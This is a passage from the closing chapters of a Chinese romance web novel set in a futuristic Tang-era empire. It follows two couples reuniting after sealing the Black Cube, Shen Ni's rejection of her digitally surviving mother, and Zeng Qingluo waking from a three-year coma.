沈逆对李极道:“殿下,如果我失控,麻烦你用精神力压制。”
李极点头。
沈逆再对边烬说:“如果黑魔方意外逃逸,便开启诱捕系统把它吸回来。我还有备用计划。”
边烬:“好。”
沈逆的手压在魔盒上。
“不知道还会发生什么情况,诸位随机应变吧。大不了重头来过。”
沈逆的乐观倒是缓解了紧张的气氛。
没错,大不了再来一次。
当然——李极在心里祈祷——能别来还是别来了。
嗡——
空间之外的贺兰濯忽然感觉一阵强光从眼前闪过,她紧握住第五阙的手。
第五阙就让她握着,目光死死盯着发光的方向。
不知过了多久,摩擦声、脚步声还有轻叹声,细碎杂乱,贺兰濯皱起眉问道:“怎么样了?”
长长的舒缓声之后,第五阙兴奋的声音荡在耳边:
“成功了——逆逆她们成功了!”
贺兰濯一口气终于舒了出去。
这才发现掌心里出了一层汗。
带着暖意的风抚过她的衣衫,她眯着眼往阳光的方向凝望。
挺意外,这条漫长的荆棘之路,她们活着走到了最后.
黑魔方完整地回到了魔盒之中,开始了无穷无尽的长眠。
窦璇玑立刻传信给李司,告诉她这个好消息。
原本一直犹豫开城的时日,现在能立刻定下了。
沈逆准备和大家一起好好吃一顿,不醉不归。
李极却没心情,要先离开。
这段时日她一直沉心绘制曾倾洛的精神世界,几乎到了废寝忘食的地步。如今黑魔方这心头大患解决了,她也无心放松,打算带曾倾洛回睦州的安王府,潜心修复。
边烬道:“有什么消息记得跟我们说一声,我和沈逆要回长安城一趟,过段时日再去拜访。”
李极“嗯”一声道:“放心,你们来时她一定已经好了。”
说完之后大步离开。
对天地而言,这是个平凡的春夜。
但对人类文明来说,它足以被后世不断品味、书写、赞颂。
黑暗又痛苦的旧历史被埋入记忆深处,新的时代已在眼前。
长安城,大明宫。
李司牵着一只小狗在御花园中散步。
三步叹一声。
身边雪团子似的小狗听见她叹气,吐着舌头抬头看她。
“小图,你说你阿娘什么时候才能回来啊。”
李司垂眸瞧它。
“我还能不能有媳妇?这都跑了几回了?”
名叫小图的小狗蹭蹭李司的腿,蹭得她一腿毛。
李司蹲下来抱住小图,呜呜地回蹭它。
“你阿娘是不是不要咱们了?”
月光之下,一人一狗的身影被拉得很长。
从一片芍药花丛中转过,香雾阵阵间,有人咬牙切齿地喊了声:
“李司?”
李司心下一凛,可太稀奇了,这阵子听多了“陛下”“天子”的,头一次听到自己的名字这么亲切。
而且这声音是——
“璇玑!”
李司单手抱着狗,拨开层层叠叠缀满枝头的花朵,骤然一停,窦璇玑那张让她朝思暮想的脸就在眼前。
“真的是你!你怎么回来都不说一声!”
窦璇玑看着她臂弯里那只不知道发生什么事,被人抱起来跑都没半点反应,只会吐舌头的小蠢狗。
“办完事儿就直接回来了,怎么,不乐意?”
“我哪儿不乐意了?有这么冤枉人的么!”
窦璇玑指着狗问她,“哪儿来的?”
“我那日去坊间放粮的时候捡的,看它怪可怜的,就给带回来了。”
“为什么叫小图?”
“图”是窦璇玑的本姓,在被先帝赐“窦”这个贵姓之前,她就姓图。
“不会觉得它和我像吧?”
李司嘿嘿一笑,“怎么不像呢?你看着水灵灵的大眼睛。简直是你亲生的……”
窦璇玑一拳向着李司的胳膊砸过去,李司早就料到她会这样做,旋身躲过。
“每回就这一招,没用了!”
“是么。”
谁知下一刻,窦璇玑一把拧住李司腰上的软肉。
李司正要叫,一群巡查的侍卫从远处走来,对她们行礼问安。
李司忍着眼角的泪,装出从容的模样和窦璇玑并肩而立。
等侍卫离开,李司立刻往后撤一步,捂着腰间委屈道:
“你怎么真舍得拧我,还拧得这般狠,枉费我成天想你想得睡不着觉!”
窦璇玑方才下手是有点没轻没重,看李司刚才还帝王威严加身,此刻却委委屈屈,又听到她说想自己想到睡不着觉,噗呲笑了,把小图接到怀里抱着,再挽住李司的胳膊,对她眨眨眼。
“真这么想我?”
“不然呢?哼……”
这个“哼”字的尾音还没哼完,唇上就落下一个飞快的吻。
窦璇玑单手扶着李司的肩膀,踮起脚,主动吻了她的唇。
李司脑子里嗡的一下,都还没反应过来吻就结束了。
只有小图被两个人夹得“汪”了一下。
“你,亲我……”
李司捂着唇,眼睛不可思议地睁圆。
窦璇玑看她这副模样,边走边对小图道:“不生气了,你阿娘真好哄。”
李司追在她身后,“谁说我不生气了,我还气得要命。不管,刚才你对我做的事儿还得继续做!离开这么多日,信还回得比乌龟都慢,想好怎么补偿我没有?”
窦璇玑有时候都怀疑李司是不是谎报了年龄,缠起人来真像小孩。
“行,补偿你。”
窦璇玑回眸,脸色微红。
“想怎么做都行,行了吧?”
李司一恍惚,这意思,就是那意思了呗?
李司心头被窦璇玑一句话点得火烧一般热.
这一夜小图没能上龙床。不过小图天生没心眼,就算在自己的小窝里也睡得呼声震天。
床上二人缠得火热,相思之情浸透了夜。
窦璇玑被李司弄得发晕,下床喝营养液时瞧见镜中的自己,红痕满身,有些羞地移开了目光。
李司从她身后拥过来,柔软的毯子左右一张,把她圈到了怀中。
毯子里光洁滚烫的身体相贴着,李司有些倦了,但看得出来还是很开心,眯着眼赖在她身后轻语着:
“夜里还凉着呢,怎么好就这样下床,冻着了怎么办?”
“才不会。”
“我担心嘛……而且,怕一个不小心你又不见了。”
窦璇玑被李司这样紧密地抱着,身子一直都热热的。
好像只要李司在她身边,她从来都不会觉得冷,也不会寂寞,嘴角永远是向上扬的。
窦璇玑回头,想亲李司,可李司太高了,够不着她的唇。
“你下来点。”
李司弯下脖子,窦璇玑仰起头。
雪团掉进小麦色的山谷中,融成了一滩水。
纤长的手指碾过燥热的肌肤,怀中人在她耳边保证道:
“以后我再也不会留你一个人了……”
晨曦正好映在窦璇玑的唇上,向为她的誓言罩上一层不可动摇的金光。
“没关系。”李司紧紧搂着她的腰,“你可以去任何地方,只要你会回来,只要你爱我。”
……
心上人回来了,宵旰图治的天子难得歇了一天政事。
北边发生的事,窦璇玑时不时会传信给李司,李司已经知晓了大概。
可当窦璇玑将魔盒摆到李司面前时,李司看着那深幽的,仿佛会把所有的光线都吞噬的诡异玩意,依旧有些忌惮。
李司:“你就敢自己把黑魔方带回来了?”
窦璇玑抱着小图吃水果。
自己吃一口,剩下的一半给小图。
“沈逆说已经完全把它封印了,我怎么不敢?”
李司真为窦璇玑捏一把汗。
“不是我不信任那臭狐狸,可,这是黑魔方啊!”
“这不没事儿么。”
窦璇玑不以为然,李司又不舍得说她,只问沈逆她们有没有说什么时候回长安城。
“她们自己坐房车回来,说开春了,到处景致都美不胜收,回来之后肯定一堆事儿等着呢,打算玩一玩再抵京。不是这个月底就是下个月初。”
李司歪了歪嘴角。
臭狐狸就是臭狐狸,什么事都提前让她料到了。
朝中的确有非常多要事等着她和边烬回来商议、处理。
比如眼前这个魔盒,又比如最高研发署。
还有许多国策、外交和没完没了的战事,甚至是一直在暗地里威慑她皇位,给她找不自在的几个老臣该怎么处置的问题,都让她头疼。那些老臣都将“肱股之臣”写在脸上,下手轻了重了都不好,她一直盼着沈逆回京转一转聪明的脑袋瓜为她出谋划策呢,不然替她分担些火力也行。
可想到沈逆这一年半载过的都是什么日子,又实在不忍心催她。
感觉对沈逆和对璇玑有一种心情是一样的——
无论她什么时候回,只要能真的回来就行。
再者。
李司心道,我都已经是天子了,屁股给镶在龙椅上了,还能怎么办呢?只能在大明宫等着她和边烬呗。
……
这么多年来,边烬第一次体会到什么叫无事一身轻。
她们从北境一路走走停停往长安去。
越往长安走,路上的景致越迷人。
东风轻荡,水阔山遥,网络修好之后房车开启了自动驾驶,沈逆每日就和边烬坐在顶层,一路沐浴阳光,吃吃喝喝无话不谈,不紧不慢,乐乐陶陶。
路过一处服务驿站,边烬正在与二师姐通话,沈逆便自己下车买些补给。
走进驿站,拽了个推车扫货。
沈逆买了些当地的特产后,正在比较两款桂花味的点心的配料表,身边原本显示商品类别的电子屏忽然闪烁了一下,浮现出一位中年妇人的脸。
“沈逆。”
沈逆纳闷地看向电子屏,中年妇人的长相与自己有几分相似。
“沈逆,我是你娘亲,我叫沈扶苏。”沈扶苏开门见山道,“我有些话想跟你说。”
沈逆无声地凝视那张脸,没多久就收回了视线,继续对比配料表,最后选择了更健康的一款后,放入推车中,转身就走。
可当她转身,面前的电子屏上又出现了沈扶苏的脸。
“你好像已经知道了,也并不惊讶。”
沈逆的确不惊讶。
不仅不惊讶,在此之前,她已经查到了,蛊惑着边烬以命和黑魔方捆绑的机械师,很有可能就是她娘。她居然还有娘,甚至有可能还有个爹。
并不难查。
她问过边烬好几次了,合作的机械师究竟是谁,边烬都守口如瓶。
当时沈逆就意有所指地说过——
奇了怪,我这一介孤女,这世间除了你,居然还有与我有关系的人么?
既然和她有关,天赋觉醒又是以上一代的基因等级为基石,那么去查一查唐Pro上一代的双S级机械师是谁,就能知晓答案。
沈扶苏当初预料到风云将起,欺骗了李渃元,假死离开长安城之后扎根在北境。为了掩人耳目,也为了沈逆能够顺利在边烬身边长大,不让人联想到她和自己的关系,沈扶苏悄悄抹去了自己相关的资料,成为了众人口中“神秘的传奇机械师”。
对机械师而言,这不是一件难事。
同样,对另一位青出于蓝的机械师来说,想要解开她布下的障眼法,也没多麻烦。
暗网加帝国内网的资料,很容易就能查到沈扶苏的消息。
都不用去看沈扶苏的照片,光是一个“沈”字就让沈逆明白了她们之间的联系。
同为罕见的双S级机械师,都姓沈,还有别的可能吗?
沈逆单手撑着推车扶手,抬眸看沈扶苏:“有事?”
沈扶苏猜测沈逆见到她时会有所埋怨,却没想到竟是这样无所谓的冷淡模样。
沈扶苏默然片刻后,说:“我不知道边烬与你说了什么,但,当初我们把你交给边烬是情非得已。没有一位母亲想和孩子分离,可若不这样做,如今天地的浩劫便是无解。”
“边烬没跟我说过你们的事,少对她妄加揣测。”
沈逆犀利之后,又恢复了无所谓的态度。
“至于当年的事,那是你的决定,和我有什么关系呢?”
留下这轻飘飘两句话,随后便要继续离开。
骤然间,整个驿站的电子屏全都变成了沈扶苏的脸,吓得店家差点一屁股墩地上。
“沈逆,你是我的女儿,你就算不认我,也无法否认你的一切是继承了我的基因。”
所有电子屏统一响起了沈扶苏的话。
沈扶苏的语气依旧冰冷从容,是她自以为傲的理智。
可在沈逆和驿站其他所有人听起来,冷血又刻薄。
沈逆笑了。
“你不觉得矛盾吗?”
沈扶苏的目光透过电子屏,如一道道锋利的光,刺向沈逆。
沈逆:“我还以为机械师的逻辑应该稍微严谨点,你怎么有点前言不搭后语。既然你记得当年是你自己亲手把我交给了边烬,那也该知道,给予我一切的不是你,而是边烬。是边烬无条件疼我爱我养育我,与你有分毫关系?你为我做的唯一一件事就是将我生下,然后丢到冰天雪地里,多年之后再威逼利诱,让养育我的人送死。这么说来我的冷血倒是找到了一点儿缘由。原本我以为我已经足够寡情,如今看来,倒是比不上你万分之一。”
察觉到驿站异样的边烬,此刻已经走到门口。
沈扶苏:“沈逆,我说了,当初我也是迫不得已。若不是为了苍生,我不可能愿意和你分开!”
沈逆走近电子屏。
“同样是为了苍生,边烬选择牺牲自己来保护我,保护她在意的天地。而你,利用我,利用边烬,利用所有可利用之人。”
沈扶苏早就知道沈逆这张嘴不饶人,可当真与她面对面时,才知道她的话如何一语中的,让人寸心如割。
“我原本打算知晓不把边烬的命当命的人是谁后,一刀杀了解气。没想到居然是我生母。边烬在意人伦纲常,我这刀也没那么容易下去了。你说你有苦衷,我不想理解,但边烬对你绝口不提,该是不愿你影响我的心情,我不想深究。本想着此生老死不相往来便罢,不费口舌说难听话,给你留些脸面。是你自己苦苦相逼,把脸凑上来让我唾弃。那我岂能辜负你一番心意?”
沈逆走到店家面前,放了个钱袋在他手中。
店家还在不明所以,沈逆已经抽出了戒棍。
“今日你之所以会出现在我面前,不就是觉得一切危机都过去了,想认回我这个女儿,到你床前尽孝。那我现在可以告诉你我的决定。”
沈逆走到电子屏前。
“我的一切都是边烬给的。我以前没有耶娘,以后,也不需要。”
咣——
边烬听到砸东西的声响立即推门进屋,火花四溅,客人们害怕地逃出驿站。
整个驿站的电子屏都被沈逆砸了个稀烂。
而沈逆持着戒棍,站在满地狼藉间,心口不断地起伏。
“好了。”
边烬接走沈逆的戒棍,单手把她搂紧怀里,看着一排排冒着烟的电子屏,转身望向店家。
店家躲在柜台后面,露出半个脑袋。
边烬:“对不住了,我妻子她……”
边烬正要解释,店家立刻道:“没关系没关系,咱们都是多亏了奉国公和边大将军您才能保住了性命,这点小事儿不足挂齿。而且我早就想重新装修驿站啦!”
随后店家还晃了晃手里的钱袋。
边烬:……
差点忘了她俩已经是奉国公和大将军了。
沈逆心跳还有些超速,脑袋枕在她肩头,不愿露脸。
边烬抚了抚她的后脑,说:“回去了?”
沈逆的声音闷在她怀里,“嗯……”
边烬拎着沈逆要买的东西,付了银子,拉着她回房车。
其实这几日边烬一直在考虑该怎么跟沈逆说她亲生耶娘的事儿。
无论怎么说,对她而言都是伤害,开口前得谨慎斟酌。
现在好了,沈扶苏直接出现,捅破了这层窗户纸,以最直接的方式告诉沈逆。
看沈逆发红的眼眶和紧咬着的唇,边烬只觉得自己精心养护的宝贝被外人伤害,愧疚又心疼。
“别弄伤自己。”
边烬指骨压在沈逆的唇面上,往里轻轻挤了挤,分开她的唇。
娇嫩的唇上已经有了牙印。
沈逆眼眸抬起,眼泪失控地往下落,用哭腔道:
“只有你才是我的至亲,我们好不容易才在一起,谁也别想取代你……”
坚定的告白撞入边烬心口,边烬眼眶都被她说热了,心里发着酸,紧拥沈逆入怀。
酸劲过后,又有种密密匝匝的甜意从心底里翻涌。
那是被坚定选择,永远放在第一位在意的感慨。
……
那夜沈逆凶得很,满满的占有欲倾泻在边烬身上,边烬在沉默中全都应了下来。
温热的眼泪落下,沿着身体的曲线坠入深处。
清晨的露水从叶面上划落,边烬在沈逆的怀中醒来。
沈逆还在睡,睡得很沉。
昨夜不知餍足的人是她。
而边烬是那个毫无底线纵容她的人。
看沈逆的性子,就知道养她的人有多娇惯她。
可是,沈逆就该被这样宠着,爱着。
边烬心想,别人能这样爱她吗?
不可能。
对沈逆宠爱,她是世间独一份。
第173章 终章(下)
第173章 终章(下)
因为沈扶苏的出现,原本游山玩水的计划又多了两日散心行程。
对于盼星星盼月亮等着沈逆的李司而言,有六个点要说。
……
数日后,她们终于回到长安城。
城防已降,轨道列车轰隆隆地进出港,天上私人飞艇和各路仪仗穿梭不绝,马车于车流中有条不紊地入城。
这是边烬和沈逆都不曾见过的松弛与井然。
庞大的古都焕发出了新的生命力。
房车进入长安城,发现城中多了许多未曾见过的集市。
李司为了鼓励商业刺激经济,在保留了曾经的东西二市的基础上,开设了许多租金廉价税费又低的庞大市集,非常利于小商户的发展。
曾经京师那股子端在云端的架子,有了落地的亲和力。
沈逆挺好奇的,打开窗户看着这份热闹,对边烬说:
“皇帝什么样京城就什么样。长安城越来越像李司的孩子。”
沈逆跟边烬说话时没留意外面,忽然有人喊了声“奉国公”。
这么一喊,市集上所有人都往房车的方向看。
“真的是奉国公!”
“还有边将军!她们回来了!”
在沈逆和边烬生死一线,绞尽脑汁封印的黑魔方的时候,李司也没闲着。
既然心上人跑了又跑,她索性励精图治,把所有精力都扑在朝政上,把几个老找她茬的老朽累进了太医署。
与此同时,李司也在不断宣扬沈逆与边烬的凛然大义,让被她们守护的百姓知晓谁在为他们夜夜安眠而战。
于是,便有了眼下的一幕。
沈逆眼睁睁地见人潮骚动着往她们的方向涌,所有人就地拿起手边的东西,从蔬菜瓜果到布帛菽粟,全都堆上她们的房车,感谢她们为帝国所做的一切。
沈逆人都差点被埋了。
甚至听到有人高喊——
“恩主她们活着回来了,快来啊,别让她们跑了!”
气势汹汹的劲儿,知道的是来报恩,不知道的以为是报仇的。
房车装了一大堆来自百姓的爱戴——一车子的衣食住用行,回到了奉国公府。
万姑姑等人出门迎接她们的时候还纳闷,怎么人回来了,还顺道去买了菜?
沈逆在跟万姑姑说原委,说得一旁小侍女都笑出了声。
而边烬则暗暗帮沈逆把肩头的菜叶子给摘了。
万姑姑想起当初沈逆离开长安城去危险的城外寻夫人下落时的情形,她一颗心七上八下,日夜祈祷着二位夫人能逢凶化吉。
如今看双妻平安归来,恩爱更甚从前,万姑姑悄悄转身,把眼角的泪花抹去,换上一张开心的笑脸跟她们说,奉国公府和将军府都收拾利落了,就等着她们回来决定要住哪儿。
双妻俩携手去看了两座府邸,都更喜欢奉国公府。
奉国公府位置僻静,格局也更适合上手改造。
沈逆其实一直有好好装修府邸心思,先前要事一波连着一波,根本顾不上,现在她终于有空了。
就在她以为终于可以安心养老时,内侍带着天子的恩赏来了国公府,一大堆赏赐活生生把偌大的国公府都挤小了一圈。
敕旨内引经据典,文绉绉地狠夸双妻,沈逆对着一同行礼的边烬低声道:“不像李司亲笔写的。”
边烬:……
夸完之后,内侍宣她和边烬入宫觐见。
沈逆面上恭顺,心里一咯噔。
这好日子还没开始就要到头了……
大明宫,御书房内。
“臭狐狸!你终于活着回来了!”
李司听到她们来了,把正在批奏疏的电子笔一丢,大步上前狠狠抱了沈逆一把,把沈逆骨头都抱得咯咯响。
沈逆嫌弃道:“陛下,您的战斗天赋是不是提升了?”
李司倒是没好意思抱边烬,就拍拍她的胳膊,也是颇为感慨。
沈逆:“陛下,都贵为天子了,怎么还叫我臭狐狸?”
李司:“那怎么了,这儿也没外人。而且我不觉得你们把我当天子看啊。”
沈逆:“你们?”
李司:“可不,你的璇玑妹妹不是掐我腰就是拧我耳朵。”
边烬:……
感觉听到了不该听的事儿。
边烬还在想,毕竟登基了,掐腰拧耳朵的确不太合适,回头得让阿摇跟璇玑提一下。
还未想完,就见沈逆顺走了李司案前的水蜜桃,没等李司“赐座”,自顾自一屁股坐到椅子上。
边烬:。
算了,想让阿摇去规劝谁不要离经叛道,是有点为难她了。
毕竟阿摇可是离经叛道的祖宗。
李司也不以为意,要是沈逆都跟她讲规矩她才难受。
李司说魔盒她已经送入最高研发署,往后还得让沈署长多费心。
沈逆人还没回长安,李司已经任命她为新一届最高研发署署长。眼下除了她之外,这天底下也在找不出第二个双S级的机械师了,她不操心谁操心?
李司坐上龙椅,没外人,懒得摆谱,双腿交叉架到案几上,舒坦。
边烬看一眼后,实在没眼看第二眼。
三人正聊着,窦璇玑急匆匆来了。
人还没见着,就听到她骂李司。
“李司,你怎么不跟我说今天她们会进宫?”
窦璇玑怀里抱着小图,看到沈逆和边烬一下子眉开眼笑,把小图给放了。
李司:“你怎么又冤枉我?我怎么没说?我说的时候你正在给小图洗澡,让我别吵。”
窦璇玑乜她一眼:“那还不是你平时太吵。”
李司:?
沈逆在心里“嚯”了一声。
看来李司说的对,璇玑岂止没把她当天子看,恐怕都没把她当人看。
为了给沈逆和边烬接风洗尘,李司特别设宴,老友相聚,不醉不归。
御花园赏花亭内,一桌甘旨肥浓,没别人,就她们四人无拘无束好好吃一顿。
这些日子一波三折,有太多话想说了。
小图钻到边烬怀里,安安稳稳团成糯米团子,美美睡觉。
边烬没想到这只陌生的小狗居然会亲近她,还以为自己身上常年行伍又沾着人命的煞气会吓到小宠物。
沈逆不乐意道:“什么煞气,小动物最是知道谁心肠好。你看,它就不亲近我。”
李司:“你也知道你一肚子坏水。”
说着说着又提起黑魔方,窦璇玑看着月白风清的夜空,感慨道:
“还是无法想象没有黑魔方的世界是什么样的……”
沈逆给窦璇玑倒酒,“就是你可以肆意饮酒,不用再紧绷神经为大家值夜。”
窦璇玑被她说得眼眶有些热意,端起酒盏一饮而尽。
李司有点担忧,“你那点酒量,少喝些,别喝醉了。”
窦璇玑:“我酒量怎么了?只是从未展示,不代表我没有。”
笑声在花丛中流荡,酒过三巡,众人都有些微醺。
话题又回到黑魔方上。
李司:“臭狐狸,你将黑魔方锁进了‘时间循环’,它没法自己出来,可若有朝一日,有人再次把它打开又如何是好?”
刚上了点心,沈逆把这儿当自己家,看到有桂花糕便先捻了一块到边烬的盘子里。
沈逆说:“我会尽我所能,让普通人没法接近魔盒,更不可能开启它。但是谁能保证数十年或者数百年之后,科技会发展到什么地步,又会有什么样的天才横空出世,因为好奇或者其他任何我们暂时想不到的原因,打破这一切的平衡呢?”
“陛下。”沈逆放肆道,“到时候你我骨头渣子都不剩了,还能阻止下一场横祸吗?”
已经满脸通红的窦璇玑撑着脑袋道:“确实,儿孙自有儿孙福,儿孙还自有儿孙祸。”
沈逆:“所以我也只能保证有生之年能看住魔盒,往后的事就别想了,想了也没用。”
“也对。”
李司拿着酒盏晃荡到沈逆的案前,拍拍她的手背道,
“我跟你说,魔盒是以后的事儿,但眼下那帮觊觎皇位的老不死,我就指望你和边烬了。”
沈逆这会儿忽然毕恭毕敬起来。
“陛下,这事儿我一个搞科研的署长好插手吗?我夫人也是镇北将军,文官的事儿不好掺和。”
李司:?
李司:“不是吧,你和边烬把我拱上皇位,现在管杀不管埋?我不管,你们人都到这儿了,必须帮我!”
沈逆被李司闹得耳朵里嗡嗡作响,皱着眉劝道:“陛下,天日之表,天日之表啊。”
边烬生怕外面的侍女会听到李司这孩子气的吵嚷,头疼,可天子是她自己选的,没机会吃后悔药,只能应下来。
毕竟只有朝堂安定,百姓才能安居。
李司得了边烬的话,立刻不吵也不闹了。
不就是天子威仪么,李司到底也是治过军的人,说拿捏就拿捏回来.
想要展示酒量的窦璇玑,最后到底展示了自己毫无酒量。
李司好脾气地背着醉醺醺的她回寝屋,路上的侍卫见着了,全都回避。
回避归回避,心里也觉得准皇后命真好,天子这般疼爱她。
“李司……”
窦璇玑伏在李司的背上,唤她的名字。
“嗯?我在呢。”
“李司……”
“干嘛,我名字好听?一直叫。”
“嗯……”窦璇玑双臂紧紧扣着她,“好听。叫一辈子。”
……
另一个酒量相当一般的人自然是沈逆。
今夜高兴,多喝几杯,回去的路上已经醉了。
边烬为她罩上外衫,抱上马车,在静朗的星夜下回国公府。
沈逆靠着边烬的肩头昏昏欲睡,边烬说:“你睡吧,到了我直接抱你进屋。”
沈逆吻了边烬一下,“你真好。”
边烬摸摸她红彤彤的脸。
沈逆安心地睡了,片刻,车厢前方的电子屏凭空亮起,浮现出沈扶苏的脸。
国公府马车是靖安侯府原来的座驾,防火墙坚固,能黑进马车的也的确只有沈扶苏了。
在边烬的记忆里,沈扶苏一向维持着理智,即便说着最残酷的话都不曾见到过她情绪波动。
但此刻的沈扶苏,眉眼中带着一眼就能看出的失落。
沈扶苏:“我没有想拆散你们。只是,如果可能,我想她偶尔能够回来看看……”
边烬打断沈扶苏的话。
“我听她的。”
言下之意,不必跟她说,她不会干涉沈逆的决定。
车厢内寂静片刻,沈扶苏没再说话,电子屏变黑。
沈逆不知什么时候醒了,依旧靠在边烬的肩头,手指在边烬的掌心里勾着。
边烬就让她勾着,轻语道:“沈扶苏的肉身很早就感染了黑魔方,于十年前自戕。她毕生之志就是剿灭黑魔方,黑魔方死之前她不愿瞑目,便将意识输入网络,在电子世界永生,还炼了魔种,代替她行走于世,出谋划策。”
沈逆埋怨的语气里带着醉意。
“或许对世人而言她是无名英雄,但我讨厌她。”
边烬握住她不安分的手指,说:“你想讨厌谁便讨厌好了,最不能委屈自己。”
沈逆挽着边烬的胳膊,“你知道吗,我还担心过你会不会把我往外推,说什么‘到底是血亲’之类的话,让我回到她们身边。”
边烬皱眉道:“我怎么会这样说?”
“那谁知道了,毕竟你是根拴马桩。”
边烬:?
拴马桩?
沈逆没意识到自己把对边烬的腹诽说出来了。
边烬琢磨了一下,大抵明白沈逆是在嫌弃她古板。
她以为自己这段时日已经很努力在表露爱意了。
将沈逆揽入怀中,试着多说些情话:
“我当然不会把你往外推。你若不在我身边,我该如何是好……”
边烬的话断断续续进了沈逆的耳朵里,将甜意吹入她的梦境,荡起一层浅笑。
……
睦州,安王府。
寂静的寝屋内,少女突然坐起身,喊道:“裴寂——”
双臂猛推,想要把李极推开,却推了个空。
气息紊乱,浑身发痛,曾倾洛额前都是冷汗,好不容易拢回了些神志,她抬头望向四周。
奢华的寝屋,陌生的陈设,让她警觉地想要拿出武器。
却发现腿部的武器匣里没有枪。
曾倾洛心口咚咚地跳着,看自己,穿着一件亲肤的长裙,赤着足,踏在柔软的地毯上,迷茫地在寝屋里走着。
她记得向知番突然出现,裴寂危险,她想救裴寂。
然后呢?
她为什么会在此地,这里是什么地方?
紧张和戒备之时,她看到一幅画。
明显是裴寂的笔触,细腻老练,又极有个人特色,曾倾洛一眼就能认出这幅画是出自裴寂之手。
画中有两个人,五六岁的少女和一位年轻的妇人坐在小溪边。
少妇钓了鱼上来,少女开心地鼓掌。
曾倾洛怔怔地看着,眼泪霎时掉落。
这是她和她离世已久的阿娘。
阿娘还未感染黑魔方的时候,她俩住在村子里,有段时日阿娘总带她去钓鱼。
她已经很久没想起这段往事了,为什么裴寂会画出来?
屋子里到处都是画。
画中全都是曾倾洛宝贵的记忆。
曾倾洛捏着画卷,心跳慌乱。
“裴寂?”
曾倾洛唤了一声。
没人应她。
“裴寂?!”
曾倾洛提高声音又唤了一声,依旧只有静谧到极点的空荡。
整个世界的人都如同消失般。
到底发生了什么事?
曾倾洛快步走到窗边往外望,温暖的阳光落在她身上,明显已经是初夏时分。
她的记忆停留在冬日,冷得很。
自己究竟昏迷了多久,这又是何处?
曾倾洛跑出房门的时候都忘了穿鞋,一路疾走。
少女乌黑浓亮的长发散落肩头,鬓角沾着晶莹的汗珠,脚踏在被阳光晒得发烫、一尘不染青石板路上,像只惶恐的迷途小鹿。
焦急地四下张望,甚至有一刻她以为这儿就是死去的世界。
直到看到了一名侍女。
侍女急匆匆地跑过来,欣喜地行礼道:
“王妃,您醒啦!”
曾倾洛:“王妃?”
不等曾倾洛再问,侍女立刻提起裙摆一路小跑去喊人。
远处的湖边有个身影。
像裴寂,但不可能是裴寂。
那是个一头白发的女人,正背对着她坐在湖边的软榻上。
曾倾洛一边观察一边靠近。
那女子虽雪发垂地,却穿着艳丽雍容的红裙,横卧在湖边饮酒,不似老者。
成熟惹眼的身段,曾倾洛最是熟悉不过。
“裴寂?”
曾倾洛一开口,女人酒杯脱手,掉入湖中。
李极诧异地回头,愁苦的眼眸和久别的双眸对视,一刹那,如清泉入心。
……
该画的她都画了,所有细节她都细致地雕琢到极致,可曾倾洛就是一直保持着对外界极其微弱的反应,偶尔说上几句话,并不算真正的苏醒。
李极觉得自己已然力屈计穷。
如果这条路都不通,不知还有什么路可以走。
烦闷之下想饮酒,怕熏到她的小满,拿了酒到河边独饮。
此刻曾倾洛就在眼前,活生生地在眼前,还与她说话了。
李极分辨不出这是现实,还是酒后的幻觉。
李极轻颤的手伸向曾倾洛。
指尖碰到了真实的温度,眼前的景象没有消散。
是真的。
李极胸口忽地起伏,眼泪说掉就掉。
“你,真的醒了……”
曾倾洛见她哭,原本被她肆意抚摸的别扭也不见了。
“到底发生什么事了?”
李极正要开口,意识到了什么,脸色一变,立刻转过头去。
曾倾洛不解,“怎么?”
湖水倒映着李极的模样。
“我现在丑得很,别看我。”
白色的头发在阳光下,亮得晃眼。
曾倾洛跪坐在她身后,绾起她的长发,水濯过般乌黑的眼珠轻动,轻声道:“我都是你的王妃了,以后不是要日日相对?如何能不看你?”
李极:“……你已经知道了?”
因为曾倾洛一直未醒,李极在万念俱灰之时,决定与她拜堂成亲。
堂是在床边拜的,人未醒,全程只有李极一个人演独角戏。
那时她想的是,即便曾倾洛此生都不会醒来,也要她当她的王妃。
无论是到了阴间还是轮回转世,她们都拥有今生的姻缘,她都是曾倾洛的妻子,唯一的妻子。
曾倾洛心道,趁着人昏迷硬是拜了堂,这事儿放在别人身上是件霸道的诡事。裴寂这么做么,倒一点都不稀奇。
李极就是不肯回头,总说自己难看。
曾倾洛没辙,拉了拉她的裙摆道:
“就算头发的颜色变了,你的模样也未减损。更何况……我也不那么喜欢黑发。”
李极屈着双膝,微微转过身,脸埋在双臂之中,只露出一双眼睛。
“真的?”
曾倾洛心道,还是那么好哄。
说不出肉麻话,曾倾洛只道:“现在是贞观二十几年了?”
李极沉默了片刻,说:“现在是天胤三年,孟夏。”
陌生的年号让曾倾洛恍惚。
天胤三年?
是啊,李司登基了,肯定会改年号的。
曾倾洛:“我昏迷了三年?”
趁着曾倾洛吃惊,李极已经钻进她怀里,用脑袋蹭她的心口。
“嗯。”
这三年中,李极只做一件事,用精神力重绘曾倾洛的精神世界。
边烬和沈逆每隔一个月就会来探望她们一次,说曾倾洛的往事,把曾倾洛相关的记忆片段传送给李极,还会带来曾倾洛相关的小物件。
只要与她有关的,李极统统绘入精神世界中。
在漫长的绘制过程中,李极眼中的曾倾洛更加丰富、饱满。仿佛跟着她走过她的人生。
瘸腿少女无人庇护的日子,受尽欺凌,李极也跟着她难过。
可即便如此,她依旧选择在黑魔方危机爆发时,帮助别人,向陌生人伸出援手。
李极说她“真傻”,可这份与自己截然不同的正直纯善,让李极心动的感觉每日逾深。
沈逆曾经跟李极说:“我懂你的想法,倾洛和我夫人很像。如你我这样的谬种,反而会被她们的良善深深吸引。”
如果说从前李极对曾倾洛的爱,是在激情和占有欲中慢慢扭曲而成的偏执与热烈。那么这四年帮曾倾洛重塑精神世界的过程,便是李极真正了解了她的过往,在一点一滴中渐渐深入灵魂,刻骨铭心。
……
曾倾洛是如何被向知番摧毁意识,以及这三年中发生的事,李极赖在她怀中,三言两语说完。
曾倾洛惊讶得都忘了驱赶她。
“所以,你的头发是为救我而白的。你怎么这么傻……”
李极不想曾倾洛觉得亏欠什么,又背过身去。
曾倾洛在心里轻叹,抚着她的白发道:
“裴寂,转过来,让我好好看看你。”
李极的背影很安静,犹豫了一会儿,最后还是抗拒不了曾倾洛的话,转回头。
曾倾洛拨开她的发丝,仔仔细细看着她的模样。
“瘦了许多。”
李极的泪滚入曾倾洛的掌心里,用力将失而复得的人抱住。
曾倾洛几乎被李极压倒。
整个人被李极缠着,一大只,几乎将她覆盖。
曾倾洛总是被她弄得无可奈何,手不知放在哪儿,便再去顺她的头发。
还是这么爱哭。
……
养了好几日,曾倾洛和李极一块儿恢复了些气血。
